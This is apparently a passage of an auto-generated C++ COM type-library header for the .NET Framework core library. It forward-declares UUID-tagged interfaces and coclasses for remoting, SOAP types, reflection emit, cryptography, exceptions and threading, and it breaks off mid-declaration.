__declspec(uuid("a0fe9b86-0c06-32ce-85fa-2ff1b58697fb")) /* dual interface */ IContributeDynamicSink; struct __declspec(uuid("124777b6-0308-3569-97e5-e6fe88eae4eb")) /* dual interface */ IContributeEnvoySink; struct __declspec(uuid("6a5d38bc-2789-3546-81a1-f10c0fb59366")) /* dual interface */ IContributeObjectSink; struct __declspec(uuid("0caa23ec-f78c-39c9-8d25-b7a9ce4097a7")) /* dual interface */ IContributeServerContextSink; struct __declspec(uuid("00a358d4-4d58-3b9d-8fb6-fb7f6bc1713b")) /* dual interface */ IDynamicProperty; struct __declspec(uuid("c74076bb-8a2d-3c20-a542-625329e9af04")) /* dual interface */ IDynamicMessageSink; struct __declspec(uuid("53a561f2-cbbf-3748-bffe-2180002db3df")) /* dual interface */ ILease; struct __declspec(uuid("3677cbb0-784d-3c15-bbc8-75cd7dc3901e")) /* dual interface */ IMessageCtrl; struct __declspec(uuid("ae1850fd-3596-3727-a242-2fc31c5a0312")) /* dual interface */ IRemotingFormatter; enum LeaseState; struct /* coclass */ LifetimeServices; struct /* coclass */ ReturnMessage; struct /* coclass */ MethodCall; struct /* coclass */ ConstructionCall; struct /* coclass */ MethodResponse; struct __declspec(uuid("cc18fd4d-aa2d-3ab4-9848-584bbae4ab44")) /* dual interface */ IFieldInfo; struct /* coclass */ ConstructionResponse; struct /* coclass */ InternalMessageWrapper; struct /* coclass */ MethodCallMessageWrapper; struct /* coclass */ MethodReturnMessageWrapper; struct __declspec(uuid("c09effa9-1ffe-3a52-a733-6236cbc45e7b")) /* dual interface */ IRemotingTypeInfo; struct __declspec(uuid("855e6566-014a-3fe8-aa70-1eac771e3a88")) /* dual interface */ IChannelInfo; struct __declspec(uuid("2a6e91b9-a874-38e4-99c2-c5d83d78140d")) /* dual interface */ IEnvoyInfo; struct /* coclass */ ObjRef; struct /* coclass */ OneWayAttribute; struct /* coclass */ ProxyAttribute; struct /* coclass */ RealProxy; enum SoapOption; enum XmlFieldOrderOption; struct /* coclass */ SoapAttribute; struct /* coclass */ SoapTypeAttribute; struct /* coclass */ SoapMethodAttribute; struct /* coclass */ SoapFieldAttribute; struct /* coclass */ SoapParameterAttribute; struct /* coclass */ RemotingConfiguration; struct /* coclass */ TypeEntry; struct /* coclass */ ActivatedClientTypeEntry; struct /* coclass */ ActivatedServiceTypeEntry; struct /* coclass */ WellKnownClientTypeEntry; struct /* coclass */ WellKnownServiceTypeEntry; enum CustomErrorsModes; struct /* coclass */ RemotingException; struct /* coclass */ ServerException; struct /* coclass */ RemotingTimeoutException; struct /* coclass */ RemotingServices; struct /* coclass */ InternalRemotingServices; struct /* coclass */ MessageSurrogateFilter; struct /* coclass */ RemotingSurrogateSelector; struct /* coclass */ SoapServices; struct __declspec(uuid("80031d2a-ad59-3fb4-97f3-b864d71da86b")) /* dual interface */ ISoapXsd; struct /* coclass */ SoapDateTime; struct /* coclass */ SoapDuration; struct /* coclass */ SoapTime; struct /* coclass */ SoapDate; struct /* coclass */ SoapYearMonth; struct /* coclass */ SoapYear; struct /* coclass */ SoapMonthDay; struct /* coclass */ SoapDay; struct /* coclass */ SoapMonth; struct /* coclass */ SoapHexBinary; struct /* coclass */ SoapBase64Binary; struct /* coclass */ SoapInteger; struct /* coclass */ SoapPositiveInteger; struct /* coclass */ SoapNonPositiveInteger; struct /* coclass */ SoapNonNegativeInteger; struct /* coclass */ SoapNegativeInteger; struct /* coclass */ SoapAnyUri; struct /* coclass */ SoapQName; struct /* coclass */ SoapNotation; struct /* coclass */ SoapNormalizedString; struct /* coclass */ SoapToken; struct /* coclass */ SoapLanguage; struct /* coclass */ SoapName; struct /* coclass */ SoapIdrefs; struct /* coclass */ SoapEntities; struct /* coclass */ SoapNmtoken; struct /* coclass */ SoapNmtokens; struct /* coclass */ SoapNcName; struct /* coclass */ SoapId; struct /* coclass */ SoapIdref; struct /* coclass */ SoapEntity; struct /* coclass */ SynchronizationAttribute; struct __declspec(uuid("03ec7d10-17a5-3585-9a2e-0596fcac3870")) /* dual interface */ ITrackingHandler; struct /* coclass */ TrackingServices; struct /* coclass */ UrlAttribute; struct /* coclass */ Header; struct /* coclass */ HeaderHandler; struct /* coclass */ CallContext; struct __declspec(uuid("4d125449-ba27-3927-8589-3e1b34b622e5")) /* dual interface */ ILogicalThreadAffinative; struct /* coclass */ LogicalCallContext; struct /* coclass */ ObjectHandle; enum IsolatedStorageScope; struct /* coclass */ IsolatedStorage; struct /* coclass */ IsolatedStorageFileStream; struct /* coclass */ IsolatedStorageException; struct __declspec(uuid("f5006531-d4d7-319e-9eda-9b4b65ad8d4f")) /* dual interface */ INormalizeForIsolatedStorage; struct /* coclass */ IsolatedStorageFile; enum FormatterTypeStyle; enum FormatterAssemblyStyle; enum TypeFilterLevel; struct __declspec(uuid("e699146c-7793-3455-9bef-964c90d8f995")) /* dual interface */ ISoapMessage; struct /* coclass */ InternalRM; struct /* coclass */ InternalST; struct /* coclass */ SoapMessage; struct /* coclass */ SoapFault; struct /* coclass */ ServerFault; struct /* coclass */ BinaryFormatter; struct __declspec(uuid("bebb2505-8b54-3443-aead-142a16dd9cc7")) /* interface */ _AssemblyBuilder; struct /* coclass */ AssemblyBuilder; enum AssemblyBuilderAccess; struct __declspec(uuid("ed3e4384-d7e2-3fa7-8ffd-8940d330519a")) /* interface */ _ConstructorBuilder; struct __declspec(uuid("be9acce8-aaff-3b91-81ae-8211663f5cad")) /* interface */ _CustomAttributeBuilder; struct __declspec(uuid("c7bd73de-9f85-3290-88ee-090b8bdfe2df")) /* interface */ _EnumBuilder; struct __declspec(uuid("aadaba99-895d-3d65-9760-b1f12621fae8")) /* interface */ _EventBuilder; struct __declspec(uuid("ce1a3bf5-975e-30cc-97c9-1ef70f8f3993")) /* interface */ _FieldBuilder; struct __declspec(uuid("a4924b27-6e3b-37f7-9b83-a4501955e6a7")) /* interface */ _ILGenerator; struct __declspec(uuid("4e6350d1-a08b-3dec-9a3e-c465f9aeec0c")) /* interface */ _LocalBuilder; struct __declspec(uuid("007d8a14-fdf3-363e-9a0b-fec0618260a2")) /* interface */ _MethodBuilder; struct __declspec(uuid("c2323c25-f57f-3880-8a4d-12ebea7a5852")) /* interface */ _MethodRental; struct __declspec(uuid("d05ffa9a-04af-3519-8ee1-8d93ad73430b")) /* interface */ _ModuleBuilder; struct __declspec(uuid("36329eba-f97a-3565-bc07-0ed5c6ef19fc")) /* interface */ _ParameterBuilder; struct __declspec(uuid("15f9a479-9397-3a63-acbd-f51977fb0f02")) /* interface */ _PropertyBuilder; struct __declspec(uuid("7d13dd37-5a04-393c-bbca-a5fea802893d")) /* interface */ _SignatureHelper; struct __declspec(uuid("7e5678ee-48b3-3f83-b076-c58543498a58")) /* interface */ _TypeBuilder; struct /* coclass */ ConstructorBuilder; struct /* coclass */ ILGenerator; struct /* coclass */ DynamicILInfo; struct /* coclass */ DynamicMethod; struct /* coclass */ EventBuilder; struct EventToken; struct /* coclass */ FieldBuilder; struct FieldToken; struct Label; struct /* coclass */ LocalBuilder; struct /* coclass */ MethodBuilder; struct /* coclass */ CustomAttributeBuilder; struct /* coclass */ MethodRental; struct MethodToken; struct /* coclass */ ModuleBuilder; enum PEFileKinds; struct /* coclass */ OpCodes; struct OpCode; enum OpCodeType; enum StackBehaviour; enum OperandType; enum FlowControl; struct /* coclass */ ParameterBuilder; struct ParameterToken; struct /* coclass */ PropertyBuilder; struct PropertyToken; struct /* coclass */ SignatureHelper; struct SignatureToken; struct StringToken; enum PackingSize; struct /* coclass */ TypeBuilder; struct /* coclass */ GenericTypeParameterBuilder; struct /* coclass */ EnumBuilder; struct TypeToken; struct /* coclass */ UnmanagedMarshal; struct AssemblyHash; enum AssemblyHashAlgorithm; enum AssemblyVersionCompatibility; enum CipherMode; enum PaddingMode; struct /* coclass */ KeySizes; struct /* coclass */ CryptographicException; struct /* coclass */ CryptographicUnexpectedOperationException; struct __declspec(uuid("8abad867-f515-3cf6-bb62-5f0c88b3bb11")) /* dual interface */ ICryptoTransform; struct /* coclass */ RandomNumberGenerator; struct /* coclass */ RNGCryptoServiceProvider; struct /* coclass */ SymmetricAlgorithm; struct /* coclass */ AsymmetricAlgorithm; struct /* coclass */ AsymmetricKeyExchangeDeformatter; struct /* coclass */ AsymmetricKeyExchangeFormatter; struct /* coclass */ AsymmetricSignatureDeformatter; struct /* coclass */ AsymmetricSignatureFormatter; enum FromBase64TransformMode; struct /* coclass */ ToBase64Transform; struct /* coclass */ FromBase64Transform; struct /* coclass */ CryptoAPITransform; enum CspProviderFlags; struct /* coclass */ CspParameters; struct /* coclass */ CryptoConfig; enum CryptoStreamMode; struct /* coclass */ CryptoStream; struct /* coclass */ DES; struct /* coclass */ DESCryptoServiceProvider; struct /* coclass */ DeriveBytes; struct DSAParameters; struct /* coclass */ DSA; struct __declspec(uuid("494a7583-190e-3693-9ec4-de54dc6a84a2")) /* dual interface */ ICspAsymmetricAlgorithm; struct /* coclass */ DSACryptoServiceProvider; struct /* coclass */ DSASignatureDeformatter; struct /* coclass */ DSASignatureFormatter; struct /* coclass */ HashAlgorithm; struct /* coclass */ KeyedHashAlgorithm; struct /* coclass */ HMAC; struct /* coclass */ HMACMD5; struct /* coclass */ HMACRIPEMD160; struct /* coclass */ HMACSHA1; struct /* coclass */ HMACSHA256; struct /* coclass */ HMACSHA384; struct /* coclass */ HMACSHA512; enum KeyNumber; struct /* coclass */ CspKeyContainerInfo; struct /* coclass */ MACTripleDES; struct /* coclass */ MD5; struct /* coclass */ MD5CryptoServiceProvider; struct /* coclass */ MaskGenerationMethod; struct /* coclass */ PasswordDeriveBytes; struct /* coclass */ PKCS1MaskGenerationMethod; struct /* coclass */ RC2; struct /* coclass */ RC2CryptoServiceProvider; struct /* coclass */ Rfc2898DeriveBytes; struct /* coclass */ RIPEMD160; struct /* coclass */ RIPEMD160Managed; struct RSAParameters; struct /* coclass */ RSA; struct /* coclass */ RSACryptoServiceProvider; struct /* coclass */ RSAOAEPKeyExchangeDeformatter; struct /* coclass */ RSAOAEPKeyExchangeFormatter; struct /* coclass */ RSAPKCS1KeyExchangeDeformatter; struct /* coclass */ RSAPKCS1KeyExchangeFormatter; struct /* coclass */ RSAPKCS1SignatureDeformatter; struct /* coclass */ RSAPKCS1SignatureFormatter; struct /* coclass */ Rijndael; struct /* coclass */ RijndaelManaged; struct /* coclass */ RijndaelManagedTransform; struct /* coclass */ SHA1; struct /* coclass */ SHA1CryptoServiceProvider; struct /* coclass */ SHA1Managed; struct /* coclass */ SHA256; struct /* coclass */ SHA256Managed; struct /* coclass */ SHA384; struct /* coclass */ SHA384Managed; struct /* coclass */ SHA512; struct /* coclass */ SHA512Managed; struct /* coclass */ SignatureDescription; struct /* coclass */ TripleDES; struct /* coclass */ TripleDESCryptoServiceProvider; enum X509ContentType; enum X509KeyStorageFlags; struct /* coclass */ X509Certificate; enum SpecialFolder; enum DebuggingModes; struct __declspec(uuid("65074f7f-63c0-304e-af0a-d51741cb4a8d")) /* dual interface */ _Object; struct __declspec(uuid("139e041d-0e41-39f5-a302-c4387e9d0a6c")) /* dual interface */ _ValueType; struct __declspec(uuid("d09d1e04-d590-39a3-b517-b734a49a9277")) /* dual interface */ _Enum; struct __declspec(uuid("fb6ab00f-5096-3af8-a33d-d7885a5fa829")) /* dual interface */ _Delegate; struct __declspec(uuid("16fe0885-9129-3884-a232-90b58c5b2aa9")) /* dual interface */ _MulticastDelegate; struct __declspec(uuid("2b67cece-71c3-36a9-a136-925ccc1935a8")) /* dual interface */ _Array; struct __declspec(uuid("36936699-fc79-324d-ab43-e33c1f94e263")) /* dual interface */ _String; struct __declspec(uuid("7499e7e8-df01-3948-b8d4-fa4b9661d36b")) /* dual interface */ _StringComparer; struct __declspec(uuid("9fb09782-8d39-3b0c-b79e-f7a37a65b3da")) /* dual interface */ _StringBuilder; struct __declspec(uuid("4c482cc2-68e9-37c6-8353-9a94bd2d7f0b")) /* dual interface */ _SystemException; struct __declspec(uuid("cf3edb7e-0574-3383-a44f-292f7c145db4")) /* dual interface */ _OutOfMemoryException; struct __declspec(uuid("9cf4339a-2911-3b8a-8f30-e5c6b5be9a29")) /* dual interface */ _StackOverflowException; struct __declspec(uuid("152a6b4d-09af-3edf-8cba-11797eeeea4e")) /* dual interface */ _DataMisalignedException; struct __declspec(uuid("ccf0139c-79f7-3d0a-affe-2b0762c65b07")) /* dual interface */ _ExecutionEngineException; struct __declspec(uuid("7eaba4e2-1259-3cf2-b084-9854278e5897")) /* dual interface */ _MemberAccessException; struct __declspec(uuid("13ef674a-6327-3caf-8772-fa0395612669")) /* dual interface */ _AccessViolationException; struct __declspec(uuid("d1204423-01f0-336a-8911-a7e8fbe185a3")) /* dual interface */ _ApplicationActivator; struct __declspec(uuid("d81130bf-d627-3b91-a7c7-cea597093464")) /* dual interface */ _ApplicationException; struct __declspec(uuid("1f9ec719-343a-3cb3-8040-3927626777c1")) /* dual interface */ _EventArgs; struct __declspec(uuid("98947cf0-77e7-328e-b709-5dd1aa1c9c96")) /* dual interface */ _ResolveEventArgs; struct __declspec(uuid("7a0325f0-22c2-31f9-8823-9b8aee9456b1")) /* dual interface */ _AssemblyLoadEventArgs; struct __declspec(uuid("8e54a9cc-7aa4-34ca-985b-bd7d7527b110")) /* dual interface */ _ResolveEventHandler; struct __declspec(uuid("deece11f-a893-3e35-a4c3-dab7fa0911eb")) /* dual interface */ _AssemblyLoadEventHandler; struct __declspec(uuid("5e6f9edb-3ce1-3a56-86d9-cd2ddf7a6fff")) /* dual interface */ _AppDomainInitializer; struct __declspec(uuid("2c358e27-8c1a-3c03-b086-a40465625557")) /* dual interface */ _MarshalByRefObject; struct __declspec(uuid("af93163f-c2f4-3fab-9ff1-728a7aaad1cb")) /* dual interface */ _CrossAppDomainDelegate; struct __declspec(uuid("63e53e04-d31b-3099-9f0c-c7a1c883c1d9")) /* dual interface */ _AppDomainManager; struct __declspec(uuid("ce59d7ad-05ca-33b4-a1dd-06028d46e9d2")) /* dual interface */ _LoaderOptimizationAttribute; struct __declspec(uuid("6e96aa70-9ffb-399d-96bf-a68436095c54")) /* dual interface */ _AppDomainUnloadedException; struct __declspec(uuid("f4b8d231-6028-39ef-b017-72988a3f6766")) /* dual interface */ _EvidenceBase; struct __declspec(uuid("cfd9ca27-f0ba-388a-acde-b7e20fcad79c")) /* dual interface */ _ActivationArguments; struct __declspec(uuid("2f218f95-4215-3cc6-8a51-bd2770c090e4")) /* dual interface */ _ApplicationId; struct __declspec(uuid("4db2c2b7-cbc2-3185-b966-875d4625b1a8")) /* dual interface */ _ArgumentException; struct __declspec(uuid("c991949b-e623-3f24-885c-bbb01ff43564")) /* dual interface */ _ArgumentNullException; struct __declspec(uuid("77da3028-bc45-3e82-bf76-2c123ee2c021")) /* dual interface */ _ArgumentOutOfRangeException; struct __declspec(uuid("9b012cf1-acf6-3389-a336-c023040c62a2")) /* dual interface */ _ArithmeticException; struct __declspec(uuid("dd7488a6-1b3f-3823-9556-c2772b15150f")) /* dual interface */ _ArrayTypeMismatchException; struct __declspec(uuid("3612706e-0239-35fd-b900-0819d16d442d")) /* dual interface */ _AsyncCallback; struct __declspec(uuid("a902a192-49ba-3ec8-b444-af5f7743f61a")) /* dual interface */ _AttributeUsageAttribute; struct __declspec(uuid("f98bce04-4a4b-398c-a512-fd8348d51e3b")) /* dual interface */ _BadImageFormatException; struct __declspec(uuid("f036bca4-f8df-3682-8290-75285ce7456c")) /* dual interface */ _Buffer; struct __declspec(uuid("6d4b6adb-b9fa-3809-b5ea-fa57b56c546f")) /* dual interface */ _CannotUnloadAppDomainException; struct __declspec(uuid("1dd627fc-89e3-384f-bb9d-58cb4efb9456")) /* dual interface */ _CharEnumerator; struct __declspec(uuid("bf1af177-94ca-3e6d-9d91-55cf9e859d22")) /* dual interface */ _CLSCompliantAttribute; struct __declspec(uuid("c2a10f3a-356a-3c77-aab9-8991d73a2561")) /* dual interface */ _TypeUnloadedException; struct __declspec(uuid("6b3f9834-1725-38c5-955e-20f051d067bd")) /* dual interface */ _CriticalFinalizerObject; struct __declspec(uuid("7386f4d7-7c11-389f-bb75-895714b12bb5")) /* dual interface */ _ContextMarshalException; struct __declspec(uuid("3eb1d909-e8bf-3c6b-ada5-0e86e31e186e")) /* dual interface */ _ContextBoundObject; struct __declspec(uuid("160d517f-f175-3b61-8264-6d2305b8246c")) /* dual interface */ _ContextStaticAttribute; struct __declspec(uuid("3025f666-7891-33d7-aacd-23d169ef354e")) /* dual interface */ _TimeZone; struct __declspec(uuid("0d9f1b65-6d27-3e9f-baf3-0597837e0f33")) /* dual interface */ _DBNull; struct __declspec(uuid("3169ab11-7109-3808-9a61-ef4ba0534fd9")) /* dual interface */ _Binder; struct __declspec(uuid("bdeea460-8241-3b41-9ed3-6e3e9977ac7f")) /* dual interface */ _DivideByZeroException; struct __declspec(uuid("d345a42b-cfe0-3eee-861c-f3322812b388")) /* dual interface */ _DuplicateWaitObjectException; struct __declspec(uuid("82d6b3bf-a633-3b3b-a09e-2363e4b24a41")) /* dual interface */ _TypeLoadException; struct __declspec(uuid("67388f3f-b600-3bcf-84aa-bb2b88dd9ee2")) /* dual interface */ _EntryPointNotFoundException; struct __declspec(uuid("24ae6464-2834-32cd-83d6-fa06953de62a")) /* dual interface */ _DllNotFoundException; struct __declspec(uuid("29dc56cf-b981-3432-97c8-3680ab6d862d")) /* dual interface */ _Environment; struct __declspec(uuid("7cefc46e-16e0-3e65-9c38-55b4342ba7f0")) /* dual interface */ _EventHandler; struct __declspec(uuid("8d5f5811-ffa1-3306-93e3-8afc572b9b82")) /* dual interface */ _FieldAccessException; struct __declspec(uuid("ebe3746d-ddec-3d23-8e8d-9361ba87bac6")) /* dual interface */ _FlagsAttribute; struct __declspec(uuid("07f92156-398a-3548-90b7-2e58026353d0")) /* dual interface */ _FormatException; struct __declspec(uuid("e5a5f1e4-82c1-391f-a1c6-f39eae9dc72f")) /* dual interface */ _IndexOutOfRangeException; struct __declspec(uuid("fa047cbd-9ba5-3a13-9b1f-6694d622cd76")) /* dual interface */ _InvalidCastException; struct __declspec(uuid("8d520d10-0b8a-3553-8874-d30a4ad2ff4c")) /* dual interface */ _InvalidOperationException; struct __declspec(uuid("3410e0fb-636f-3cd1-8045-3993ca113f25")) /* dual interface */ _InvalidProgramException; struct __declspec(uuid("dc77f976-318d-3a1a-9b60-abb9dd9406d6")) /* dual interface */ _LocalDataStoreSlot; struct __declspec(uuid("ff0bf77d-8f81-3d31-a3bb-6f54440fa7e5")) /* dual interface */ _MethodAccessException; struct __declspec(uuid("8897d14b-7fb3-3d8b-9ee4-221c3dbad6fe")) /* dual interface */ _MissingMemberException; struct __declspec(uuid("9717176d-1179-3487-8849-cf5f63de356e")) /* dual interface */ _MissingFieldException; struct __declspec(uuid("e5c659f6-92c8-3887-a07e-74d0d9c6267a")) /* dual interface */ _MissingMethodException; struct __declspec(uuid("d2ba71cc-1b3d-3966-a0d7-c61e957ad325")) /* dual interface */ _MulticastNotSupportedException; struct __declspec(uuid("665c9669-b9c6-3add-9213-099f0127c893")) /* dual interface */ _NonSerializedAttribute; struct __declspec(uuid("8e21ce22-4f17-347b-b3b5-6a6df3e0e58a")) /* dual interface */ _NotFiniteNumberException; struct __declspec(uuid("1e4d31a2-63ea-397a-a77e-b20ad87a9614")) /* dual interface */ _NotImplementedException; struct __declspec(uuid("40e5451f-b237-33f8-945b-0230db700bbb")) /* dual interface */ _NotSupportedException; struct __declspec(uuid("ecbe2313-cf41-34b4-9fd0-b6cd602b023f")) /* dual interface */ _NullReferenceException; struct __declspec(uuid("17b730ba-45ef-3ddf-9f8d-a490bac731f4")) /* dual interface */ _ObjectDisposedException; struct __declspec(uuid("e84307be-3036-307a-acc2-5d5de8a006a8")) /* dual interface */ _ObsoleteAttribute; struct __declspec(uuid("9e230640-a5d0-30e1-b217-9d2b6cc0fc40")) /* dual interface */ _OperatingSystem; struct __declspec(uuid("9df9af5a-7853-3d55-9b48-bd1f5d8367ab")) /* dual interface */ _OperationCanceledException; struct __declspec(uuid("37c69a5d-7619-3a0f-a96b-9c9578ae00ef")) /* dual interface */ _OverflowException; struct __declspec(uuid("d54500ae-8cf4-3092-9054-90dc91ac65c9")) /* dual interface */ _ParamArrayAttribute; struct __declspec(uuid("1eb8340b-8190-3d9d-92f8-51244b9804c5")) /* dual interface */ _PlatformNotSupportedException; struct __declspec(uuid("0f240708-629a-31ab-94a5-2bb476fe1783")) /* dual interface */ _Random; struct __declspec(uuid("871ddc46-b68e-3fee-a09a-c808b0f827e6")) /* dual interface */ _RankException; struct __declspec(uuid("0c4e9393-dab1-3f92-b36b-d9b958acaaf9")) /* dual interface */ _TypeInfo; struct __declspec(uuid("1b96e53c-4028-38bc-9dc3-8d7a9555c311")) /* dual interface */ _SerializableAttribute; struct __declspec(uuid("85d72f83-be91-3cb1-b4f0-76b56ff04033")) /* dual interface */ _STAThreadAttribute; struct __declspec(uuid("c02468d1-8713-3225-bda3-49b2fe37ddbb")) /* dual interface */ _MTAThreadAttribute; struct __declspec(uuid("7ab88ca9-17f4-385e-ad41-4ee0aa316fa1")) /* dual interface */ _TimeoutException; struct __declspec(uuid("feb0323d-8ce4-36a4-a41e-0ba0c32e1a6a")) /* dual interface */ _TypeInitializationException; struct __declspec(uuid("6193c5f6-6807-3561-a7f3-b64c80b5f00f")) /* dual interface */ _UnauthorizedAccessException; struct __declspec(uuid("a218e20a-0905-3741-b0b3-9e3193162e50")) /* dual interface */ _UnhandledExceptionEventArgs; struct __declspec(uuid("84199e64-439c-3011-b249-3c9065735adb")) /* dual interface */ _UnhandledExceptionEventHandler; struct __declspec(uuid("011a90c5-4910-3c29-bbb7-50d05ccbaa4a")) /* dual interface */ _Version; struct __declspec(uuid("c5df3568-c251-3c58-afb4-32e79e8261f0")) /* dual interface */ _WeakReference; struct __declspec(uuid("40dfc50a-e93a-3c08-b9ef-e2b4f28b5676")) /* dual interface */ _WaitHandle; struct __declspec(uuid("e142db4a-1a52-34ce-965e-13affd5447d0")) /* dual interface */ _EventWaitHandle; struct __declspec(uuid("3f243ebd-612f-3db8-9e03-bd92343a8371")) /* dual interface */ _AutoResetEvent; struct __declspec(uuid("56d201f1-3e5d-39d9-b5de-064710818905")) /* dual interface */ _ContextCallback; struct __declspec(uuid("c0bb9361-268f-3e72-bf6f-4120175a1500")) /* dual interface */ _ManualResetEvent; struct __declspec(uuid("ee22485e-4c45-3c9d-9027-a8d61c5f53f2")) /* dual interface */ _Monitor; struct __declspec(uuid("36cb559b-87c6-3ad2-9225-62a7ed499b37")) /* dual interface */ _Mutex; struct __declspec(uuid("dd846fcc-8d04-3665-81b6-aacbe99c19c3")) /* dual interface */ _Overlapped; struct __declspec(uuid("ad89b568-4fd4-3f8d-8327-b396b20a460e")) /* dual interface */ _ReaderWriterLock; struct __declspec(uuid("87f55344-17e0-30fd-8eb9-38eaf6a19b3f")) /* dual interface */ _SynchronizationLockException; struct __declspec(uuid("95b525db-6b81-3cdc-8fe7-713f7fc793c0")) /* dual interface */ _ThreadAbortException; struct __declspec(uuid("b9e07599-7c44-33be-a70e-efa16f51f54a")) /* dual interface */ _ThreadInterruptedException; struct __declspec(uuid("64409425-f8c9-370e-809e-3241ce804541")) /* dual interface */ _RegisteredWaitHandle; struct __declspec(uuid("ce949142-4d4c-358d-89a9-e69a531aa363")) /* dual interface */ _WaitCallback; struct __declspec(uuid("f078f795-f452-3d2d-8cc8-16d66ae46c67")) /* dual interface */ _WaitOrTimerCallback; struct __declspec(uuid("bbae942d-bff4-36e2-a3bc-508bb3801f4f")) /* dual interface */ _IOCompletionCallback; struct __declspec(uuid("b45bbd7e-a977-3f56-a626-7a693e5dbbc5")) /* dual interface */ _ThreadStart; struct __declspec(uuid("a13a41cf-e066-3b90-82f4-73109104e348")) /* dual interface */ _ThreadStateException; struct __declspec(uuid("a6b94b6d-854e-3172-a4ec-a17edd16f85e")) /* dual interface */ _ThreadStaticAttribute; struct __declspec(uuid("81456e86-22af-31d1-a91a-9c370c0e2530")) /* dual interface */ _Timeout; struct __declspec(uuid("3741bc6f-101b-36d7-a9d5-03fcc0ecda35")) /* dual interface */ _TimerCallback; struct __declspec(uuid("b49a029b-406b-3b1e-88e4-f86690d20364")) /* dual interface */ _Timer; struct __declspec(uuid("ea6795ac-97d6-3377-be64-829abd67607b")) /* dual interface */ _CaseInsensitiveComparer; struct __declspec(uuid("0422b845-b636-3688-8f61-9b6d93096336")) /* dual interface */ _CaseInsensitiveHashCodeProvider; struct __declspec(uuid("b7d29e26-7798-3fa4-90f4-e6a22d2099f9")) /* dual interface */ _CollectionBase; struct __declspec(uuid("ddd44da2-bc6b-3620-9317-c0372968c741")) /* dual interface */ _DictionaryBase; struct __declspec(uuid("bd32d878-a59b-3e5c-bfe0-a96b1a1e9d6f")) /* dual interface */ _ReadOnlyCollectionBase; struct __declspec(uuid("3a7d3ca4-b7d1-3a2a-800c-8fc2acfcbda4")) /* dual interface */ _Queue; struct __declspec(uuid("401f89cb-c127-3041-82fd-b67035395c56")) /* dual interface */ _ArrayList; struct __declspec(uuid("f145c46a-d170-3170-b52f-4678dfca0300")) /* dual interface */ _BitArray; struct __declspec(uuid("ab538809-3c2f-35d9-80e6-7bad540484a1")) /* dual interface */ _Stack; struct __declspec(uuid("8064a157-b5c8-3a4a-ad3d-02dc1a39c417")) /* dual interface */ _Comparer; struct __declspec(uuid("d25a197e-3e69-3271-a989-23d85e97f920")) /* dual interface */ _Hashtable; struct __declspec(uuid("56421139-a143-3ae9-9852-1dbdfe3d6bfa")) /* dual interface */ _SortedList; struct __declspec(uuid("84e7ac09-795a-3ea9-a36a-5b81ebab0558")) /* dual interface */ _Nullable; struct __declspec(uuid("8039c41f-4399-38a2-99b7-d234b5cf7a7b")) /* dual interface */ _KeyNotFoundException; struct __declspec(uuid("e40a025c-645b-3c8e-a1ac-9c5cca279625")) /* dual interface */ _ConditionalAttribute; struct __declspec(uuid("a9b4786c-08e3-344f-a651-2f9926deac5e")) /* dual interface */ _Debugger; struct __declspec(uuid("3344e8b4-a5c3-3882-8d30-63792485eccf")) /* dual interface */ _DebuggerStepThroughAttribute; struct __declspec(uuid("b3276180-b23e-3034-b18f-e0122ba4e4cf")) /* dual interface */ _DebuggerStepperBoundaryAttribute; struct __declspec(uuid("55b6903b-55fe-35e0-804f-e42a096d2eb0")) /* dual interface */ _DebuggerHiddenAttribute; struct __declspec(uuid("cc6dcafd-0185-308a-891c-83812fe574e7")) /* dual interface */ _DebuggerNonUserCodeAttribute; struct __declspec(uuid("428e3627-2b1f-302c-a7e6-6388cd535e75")) /* dual interface */ _DebuggableAttribute; struct __declspec(uuid("a3fc6319-7355-3d7d-8621-b598561152fc")) /* dual interface */ _DebuggerBrowsableAttribute; struct __declspec(uuid("404fafdd-1e3f-3602-bff6-755c00613ed8")) /* dual interface */ _DebuggerTypeProxyAttribute; struct __declspec(uuid("22fdabc0-eec7-33e0-b4f2-f3b739e19a5e")) /* dual interface */ _DebuggerDisplayAttribute; struct __declspec(uuid("e19ea1a2-67ff-31a5-b95c-e0b753403f6b")) /* dual interface */ _DebuggerVisualizerAttribute; struct __declspec(uuid("9a2669ec-ff84-3726-89a0-663a3ef3b5cd")) /* dual interface */ _StackTrace; struct __declspec(uuid("0e9b8e47-ca67-38b6-b9db-2c42ee757b08")) /* dual interface */ _StackFrame; struct __declspec(uuid("5141d79c-7b01-37da-b7e9-53e5a271baf8")) /* dual interface */ _SymDocumentType; struct __declspec(uuid("22bb8891-fd21-313d-92e4-8a892dc0b39c")) /* dual interface */ _SymLanguageType; struct __declspec(uuid("01364e7b-c983-3651-b7d8-fd1b64fc0e00")) /* dual interface */ _SymLanguageVendor; struct __declspec(uuid("81aa0d59-c3b1-36a3-b2e7-054928fbfc1a")) /* dual interface */ _AmbiguousMatchException; struct __declspec(uuid("05532e88-e0f2-3263-9b57-805ac6b6bb72")) /* dual interface */ _ModuleResolveEventHandler; struct __declspec(uuid("6163f792-3cd6-38f1-b5f7-000b96a5082b")) /* dual interface */ _AssemblyCopyrightAttribute; struct __declspec(uuid("64c26bf9-c9e5-3f66-ad74-bebaade36214")) /* dual interface */ _AssemblyTrademarkAttribute; struct __declspec(uuid("de10d587-a188-3dcb-8000-92dfdb9b8021")) /* dual interface */ _AssemblyProductAttribute; struct __declspec(uuid("c6802233-ef82-3c91-ad72-b3a5d7230ed5")) /* dual interface */ _AssemblyCompanyAttribute; struct __declspec(uuid("6b2c0bc4-ddb7-38ea-8a86-f0b59e192816")) /* dual interface */ _AssemblyDescriptionAttribute; struct __declspec(uuid("df44cad3-cef2-36a9-b013-383cc03177d7")) /* dual interface */ _AssemblyTitleAttribute; struct __declspec(uuid("746d1d1e-ee37-393b-b6fa-e387d37553aa")) /* dual interface */ _AssemblyConfigurationAttribute; struct __declspec(uuid("04311d35-75ec-347b-bedf-969487ce4014")) /* dual interface */ _AssemblyDefaultAliasAttribute; struct __declspec(uuid("c6f5946c-143a-3747-a7c0-abfada6bdeb7")) /* dual interface */ _AssemblyInformationalVersionAttribute; struct __declspec(uuid("b101fe3c-4479-311a-a945-1225ee1731e8")) /* dual interface */ _AssemblyFileVersionAttribute; struct __declspec(uuid("177c4e63-9e0b-354d-838b-b52aa8683ef6")) /* dual interface */ _AssemblyCultureAttribute; struct __declspec(uuid("a1693c5c-101f-3557-94db-c480ceb4c16b")) /* dual interface */ _AssemblyVersionAttribute; struct __declspec(uuid("a9fcda18-c237-3c6f-a6ef-749be22ba2bf")) /* dual interface */ _AssemblyKeyFileAttribute; struct __declspec(uuid("6cf1c077-c974-38e1-90a4-976e4835e165")) /* dual interface */ _AssemblyDelaySignAttribute; struct 